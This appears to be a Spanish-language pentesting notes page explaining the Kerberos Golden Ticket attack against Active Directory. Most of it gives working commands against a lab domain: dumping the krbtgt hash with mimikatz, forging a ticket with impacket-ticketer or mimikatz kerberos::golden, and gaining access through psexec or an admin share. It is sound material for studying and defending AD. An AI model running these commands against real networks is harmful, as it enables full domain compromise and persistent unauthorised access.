> For the complete documentation index, see [llms.txt](https://d4redevil.gitbook.io/d4redevil/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://d4redevil.gitbook.io/d4redevil/active-directory/golden-ticket.md).

# Golden Ticket

El "Golden Ticket Attack" es un término utilizado en ciberseguridad, específicamente en el contexto de la explotación de sistemas basados en el protocolo de autenticación Kerberos, comúnmente utilizado en entornos de red de Microsoft Windows.

En términos simples, un "Golden Ticket" es un token de autenticación falso que otorga al usuario que lo posee acceso total y privilegios administrativos sobre el dominio de Active Directory de una red de Windows. Este tipo de ataque se basa en la explotación de vulnerabilidades en la implementación de Kerberos y en la capacidad de los atacantes para comprometer las credenciales de administrador de dominio.

Cuando un atacante obtiene acceso a las credenciales de administrador de dominio o a la clave secreta de un controlador de dominio de Windows, puede generar un "Golden Ticket". Este ticket tiene un período de validez muy largo (generalmente 10 años), lo que permite al atacante acceder a cualquier recurso dentro del dominio de Windows, eludiendo así las medidas de seguridad normales.

El "Golden Ticket Attack" es extremadamente peligroso porque, una vez que el atacante ha generado un ticket dorado, esencialmente tiene control total sobre el dominio de Windows, pudiendo acceder a cualquier recurso y comprometer aún más la seguridad de la red sin ser detectado fácilmente.

### Ejecución del ataque desde Linux

Para realizar este ataque necesitamos el SID y el NT hash del usuario `krbtgt`. Estos los podemos conseguir con `mimikatz` con el comando `lsadump::lsa /inject /name:krbtgt`. Ahora usamos `impacket-ticketer` para obtener un archivo `.ccache`, el cuál luego exportaremos como variable `KRB5CCNAME`:

```bash
impacket-ticketer -nthash 029fe57163a12444aafeb80c83cf9134 -domain-sid S-1-5-21-3492974850-3977154165-1802910921 -domain MARVEL.local -user-id 500 Administrator
```

Esto nos generará un archivo `.ccache`, el cuál exportamos:

```bash
export KRB5CCNAME=/home/d4redevil/AD/goldenTicket/Administrator.ccache
```

Ahora, si hemos impersonado al usuario Administrator, usamos `impacket-psexec` para conectarnos:

```bash
impacket-psexec -n -k MARVEL.local/Administrator@172.16.0.1
```

### Ejecución del ataque desde Windows

Extracción del hash NTLM de la contraseña de la cuenta `krbtgt`:

```powershell
mimikatz # privilege::debug
mimikatz # lsadump::lsa /inject /name:krbtgt
```

<figure><img src="/files/FplNwRjEbmTrvNtTaFaD" alt=""><figcaption></figcaption></figure>

Creación de un ticket dorado falsificado que se inyecta automáticamente en la memoria de la sesión de inicio de sesión actual:

```powershell
mimikatz # kerberos::golden /domain:MARVEL.local /sid:S-1-5-21-3492974850-3977154165-1802910921 /krbtgt:029fe57163a12444aafeb80c83cf9134 /user:Administrator /id:500 /ptt
```

<figure><img src="/files/FBRE5KpJZn81i0Et5Tsy" alt=""><figcaption></figcaption></figure>

Comprobamos que el ticket fue creado usando `klist`:

<figure><img src="/files/9ls3NQwB87FMDvRnoIpD" alt=""><figcaption></figcaption></figure>

Abrir otra consola powershell y montamos un recurso compartido, por ejemplo `\\PC-02\C$`:

```powershell
pushd \\PC-02\C$
```

<figure><img src="/files/88LTWLEugp8eMHiLSTzW" alt=""><figcaption></figcaption></figure>
